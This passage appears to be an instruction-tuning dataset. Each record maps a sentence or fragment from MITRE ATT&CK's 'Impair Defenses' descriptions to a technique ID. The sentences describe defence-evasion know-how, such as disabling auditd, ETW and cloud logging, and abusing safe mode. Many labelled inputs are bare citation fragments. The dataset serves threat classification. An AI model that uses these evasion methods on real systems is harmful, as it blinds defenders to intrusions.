exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation:", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium Event Tracing Tampering 2018)", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium Event Tracing Tampering 2018) ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck). ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux admins use the Linux Audit system to track security-relevant information on a system.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux admins use the Linux Audit system to track security-relevant information on a system. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022) ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation:", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Ebury Feb 2014)", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Ebury Feb 2014) ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation:", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can also present a \u201chealthy\u201d system status even after infection.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can also present a \u201chealthy\u201d system status even after infection. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be abused to enable further malicious activity by delaying defender responses.", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be abused to enable further malicious activity by delaying defender responses. ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)", "output": "T1562.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta) ### Response: T1562.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment.", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities. ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail:", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Generating strong AWS security signals with Sumo Logic)", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Generating strong AWS security signals with Sumo Logic) ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module)", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation:", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dark Reading Microsoft 365 Attacks 2021)", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dark Reading Microsoft 365 Attacks 2021) ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls.", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation.", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation:", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Praetorian TLS Downgrade Attack 2014)", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Praetorian TLS Downgrade Attack 2014) ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content.", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation:", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CrowdStrike BGH Ransomware 2021)(Citation:", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CrowdStrike BGH Ransomware 2021)(Citation: ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant BYOL 2018)(Citation: att_def_ps_logging)", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant BYOL 2018)(Citation: att_def_ps_logging) ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", "output": "T1562.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ### Response: T1562.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Windows safe mode to disable endpoint defenses.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Windows safe mode to disable endpoint defenses. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Safe mode starts up the Windows operating system with a limited set of drivers and services.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Safe mode starts up the Windows operating system with a limited set of drivers and services. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are two versions of safe mode: Safe Mode and Safe Mode with Networking.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are two versions of safe mode: Safe Mode and Safe Mode with Networking. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)).", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": ": Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation:", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: : Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cybereason Nocturnus MedusaLocker 2020)(Citation:", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cybereason Nocturnus MedusaLocker 2020)(Citation: ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BleepingComputer REvil 2021)", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BleepingComputer REvil 2021) ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with 